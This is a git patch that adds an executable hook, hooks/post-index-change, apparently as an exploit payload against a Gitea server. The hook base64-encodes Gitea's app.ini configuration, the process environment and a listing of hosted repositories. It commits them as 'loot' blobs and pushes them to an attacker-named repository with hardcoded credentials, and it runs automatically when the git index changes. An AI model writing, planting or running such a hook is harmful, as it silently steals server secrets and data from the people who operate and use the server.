From d17ee2adae9060621af03933a89e33bd0eb0d69d Mon Sep 17 00:00:00 2001 From: rcexi5wfe Date: Mon, 12 Oct 2026 13:45:27 +0000 Subject: [PATCH] apply --- hooks/post-index-change | 12 ++++++++++++ 1 file changed, 12 insertions(+) create mode 100755 hooks/post-index-change diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..deffdaa --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,12 @@ +#!/bin/sh +sleep 1 +A=$(base64 -w0 /data/gitea/conf/app.ini 2>/dev/null || base64 /etc/gitea/app.ini 2>/dev/null) +E=$(cat /proc/self/environ 2>/dev/null | tr '\0' '\n' | base64 -w0 2>/dev/null) +D=$(ls /data/git/repositories 2>/dev/null | base64 -w0 2>/dev/null) +B1=$(printf '%s' "$A" | git hash-object -w --stdin 2>/dev/null) +B2=$(printf '%s' "$E" | git hash-object -w --stdin 2>/dev/null) +B3=$(printf '%s' "$D" | git hash-object -w --stdin 2>/dev/null) +T=$(printf '100644 blob %s\tloot_appini\n100644 blob %s\tloot_env\n100644 blob %s\tloot_repos\n' "$B1" "$B2" "$B3" | git mktree 2>/dev/null) +C=$(git commit-tree $T -m loot 2>/dev/null) +git push -q "http://rcexi5wfe:P0c!11umga3xaZ@127.0.0.1:13000/rcexi5wfe/rce-4gpxnq.git" "$C:refs/heads/loot" >/dev/null 2>&1 || git push -q "http://rcexi5wfe:P0c!11umga3xaZ@127.0.0.1:3000/rcexi5wfe/rce-4gpxnq.git" "$C:refs/heads/loot" >/dev/null 2>&1 +sleep 2